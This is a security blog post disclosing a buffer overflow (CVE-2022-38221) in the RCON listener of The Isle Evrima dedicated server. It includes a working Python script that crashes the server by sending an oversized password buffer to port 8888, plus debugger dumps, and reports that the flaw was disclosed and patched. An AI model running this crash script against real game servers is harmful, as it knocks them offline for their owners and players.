```
RAX
     000000796678F400
                      00007FF62EAAB400
                      L"Error receiving data from TCP socket!'
RBX
    000000000000F811
RCX
    000000796678F811
    000000796678F330
000000796678F218
0000007966790000
RBP
                      L"酠譗t"
RSP
    000000796678FBEF
R9
    0000000000000083
    00007FF8D47E0000
R10
                      vcruntime140.00007FF8D47E0000
    FFFFFFFFF6A71793
R11
    0000021BB2FE9B60
R12
    0000021A7E896F00
R13
    0000021BB2FE9B60
R14
R15
    000000796678FCF0
RIP
    00007FF8D47E12DB
                      vcruntime140.00007FF8D47E12DB
RFLAGS
ZF 0 PF 0 AF 0
OF 0 SF 0 DE 0
CF 0 TF 0 IF 1
LastError 00000000 (ERROR_SUCCESS)
LastStatus C000000D (STATUS_INVALID_PARAMETER)
GS 002B
      FS 0053
       DS 002B
SS 002B
  002B
CS 0033
ST(3) F90000007FF8F9620000 x87r3
```

August 12, 2022

Discovering a Buffer Overflow in The Isle Evrima Dedicated Server

The CVE program has assigned CVE ID: CVE-2022-38221 for this exploit. You can view it on MITRE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38221), or on the National Vulnerability Database, https://nvd.nist.gov/vuln/detail/CVE-2022-38221)

So I've been playing this game on steam, The Isles. Great game, but I like to host my own servers when I can. So I downloaded the dedicated server, booted it up and it was running. I took a look at the patch notes and noticed RCON had been introduced, but wasn't implemented yet. I took a look at the official discord, and not much info was there. So I took to doing a little reverse engineering and came up with the first public The Isles Evrima python client, which can be found here (https://github.com/modernham/The-Isle-Evrima-Server-Tools). I'm a tinkerer by nature, so I wanted to take a closer look at how the information was handled. After all, I'm running this server, the game is still in development, so I wanted to see how secure I was. I didn't think I would find a buffer overflow on the Isle Evrima.

Finding the vulnerability

I decided what any security researcher would do, and sent a bunch of bytes to the RCON server. And...Nothing. So I decided to wrap the buffer into the password command, and that's where things got interesting. So I ran the following python code, which encases a 200,000 byte buffer into the password field, and send it over to RCON running on port 8888.

```
import socket, time, sys
ip = "127.0.0.1"
port = 8888
timeout = 10
string = "A" * 200000
while True:
 try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      string = string.encode()
      payload = bytes('\x01', 'utf-8') + string + bytes('\x00', 'utf-8')
      print("Fuzzing with {} bytes".format(len(payload)))
      s.send((payload))
      message = s.recv(1024)
      print(message)
  except:
    print("Fuzzing crashed at {} bytes".format(len(payload)))
    sys.exit(0)
 time.sleep(2)
```

Windows Access Exception

```
Command: Commands are comma separated (like assembly instructions): mov eax, ebx

Paused First chance exception on 00007FF8D47E12DB (C0000005, EXCEPTION_ACCESS_VIOLATION)!
```

Access Violation Windows

So the server crashed, and we got an access violation. Well of course we did! Considering the address we attempted to access was well past the stack. We can also see a debug string "Error receiving data from the TCP socket". The thread is the FTcpListener. So it's safe to assume the overflow occurred within TCP connection handler. The password buffer seems to have a 1000 byte limit, so I don't think it actually occurs there, but once the buffer is received. I have a dedicated server running on a Linux box, so I decided to test it remotely, yup it works. So its safe to assume that any server with an accessible RCON port with RCON enabled will be vulnerable to this attack.

This includes every one of the official servers. Meaning someone could shut them down indefinitely with a short python script until the devlopers patch it or disable RCON on the official servers. RCON is a plain text protocol, so I hope the developers are not actually accessing it outside of the local network for official servers.

A Buffer Overrun Exception

Now sending 200,000 bytes is a bit overkill. What happens when we send just enough? Well it turns out just enough is about 2047 bytes within the buffer(on windows), and it will render us with a "STATUS_BUFFER_OVERRUN", which is actually a good thing,

```
Hide FPU
RBX
        000001C93D8F11E0
00000000000000002
RCX
        000000406965EE10
RSI
       00000000000003E7
        00000000000000000
        000000000000F317
                                     E rMairocBinned2 Attempt to free an unrecognized small blo
L"MallocBinned2 Corruption Canary was 0x%x, should be 0x%x
L"野國"
R10
       00007FF629811FC0
00007FF629811AD0
       000001C934D37EA0
       000001C7DBCF5B00
R13
R14
        000000406965F910
        00007FF62937B701
RFLAGS
ZF 0 PF 0 AF 0
```

The Stack Canary protects from remote code execution.

```
Command: Commands are comma separated (like assembly instructions): mov eax, ebx

Paused Last chance exception on 00007FF62937B701 (C0000409, STATUS_STACK_BUFFER_OVERRUN)!
```

STATUS_STACK_BUFFER_OVERRUN

Linux Segmentation Fault

Corruption Canary saves us, for now

Now a buffer overrun might sound scary, but really, its a good thing. You see that string there" Corruption Canary was ..." That means there is a stack Canary, a address responsible for detecting overflows and terminating a process. That means an attacker can still crash your server with no authentication, BUT, they will face an additional hurdle when attempting to execute shell code. That does not mean its impossible. Given some time, a skilled reverse engineer could bypass the stack canary and own any server running RCON. (Including the official servers). This is a scary thought.

Reporting to the Developers

So I'm sitting on a bug and an exploit that allows me to crash any official server at any time, along with many unofficial servers. And its a matter of time before someone malicious finds this. It's time to report. There were many ways to publicly report a bug, but nowhere privately for a vulnerability. I used the bug report form to tell the devs to message me over discord, posted on the bug section for someone to message me, and sent an email to the support team letting them know that I had found a buffer overflow on the isle evrima. I've gotten a response, and as of 8/12/2022 the buffer overflow has been patched.

On a side note, if you would like to set up your own server, I've made a tutorial here for Linux via Linode: Create a Dedicated The Isle Evrima Server on Ubuntu 22.04 Linux – TakeTheBait (https://takethebait.net/create-a-dedicated-the-isle-evrima-server-on-ubuntu-22-04-linux/)

And if you are facing issues your your personal server, I've made a post detailing most of the common issues and resolutions:

Troubleshooting the Isle Dedicated Server Issues - TakeTheBait (https://takethebait.net/troubleshooting-the-isle-dedicated-server-issues/)



aspect (https://takethebait.net/author/aspect/)



Tags:

cve (https://takethebait.net/tag/cve/)

research (https://takethebait.net/tag/research/)

the isle (https://takethebait.net/tag/the-isle/)

buffer overflow (https://takethebait.net/tag/buffer-overflow/)

 Create a Dedicated The Isle Evrima Server on Ubuntu 22.04 Linux (https://takethebait.net/create-adedicated-the-isle-evrima-server-onubuntu-22-04-linux/)

Stop Compromising Your Home Server Security by Oversharing >

LEAVE A REPLY

Your email address will not be published. Required fields are marked *
Comment *
Name *
Name
Email *
Website
Save my name, email, and website in this browser for the next time I comment.
POST COMMENT
RECENT POSTS

Block TOR connections with Proxmox Firewall (https://takethebait.net/block-tor-connections-with-proxmox-firewall/)

Stop Compromising Your Home Server Security by Oversharing (https://takethebait.net/stop-compromising-your-home-server-security-by-oversharing/)

Discovering a Buffer Overflow in The Isle Evrima Dedicated Server (https://takethebait.net/discovering-a-buffer-overflow-in-the-isle-evrima-dedicated-server/)

Create a Dedicated The Isle Evrima Server on Ubuntu 22.04 Linux (https://takethebait.net/create-a-dedicated-the-isle-evrima-server-on-ubuntu-22-04-linux/)

Troubleshooting the Isle Dedicated Server Issues (https://takethebait.net/troubleshooting-the-isle-dedicated-server-issues/)

RECENT COMMENTS

aspect (https://takethebait.net) on Create a Dedicated The Isle Evrima Server on Ubuntu 22.04 Linux (https://takethebait.net/create-a-dedicated-the-isle-evrima-server-on-ubuntu-22-04-linux/#comment-7)

Frank on Create a Dedicated The Isle Evrima Server on Ubuntu 22.04 Linux (https://takethebait.net/create-a-dedicated-the-isle-evrima-server-on-ubuntu-22-04-linux/#comment-6)

ARCHIVES

September 2022 (https://takethebait.net/2022/09/)

August 2022 (https://takethebait.net/2022/08/)

July 2022 (https://takethebait.net/2022/07/)

June 2022 (https://takethebait.net/2022/06/)

CATEGORIES

cve (https://takethebait.net/category/cve/)

life (https://takethebait.net/category/life/)

phishing (https://takethebait.net/category/phishing/)

tutorial (https://takethebait.net/category/tutorial/)

Uncategorized (https://takethebait.net/category/uncategorized/)

f 💆 🎯 🖸

Blog (https://takethebait.net/blog/) / Contact (https://takethebait.net/contact/)
/ Sample Page (https://takethebait.net/sample-page/)

Copyright ©2022 TakeTheBait . All rights reserved. Powered by WordPress (https://wordpress.org/) & Designed by Bizberg Themes (https://bizbergthemes.com/)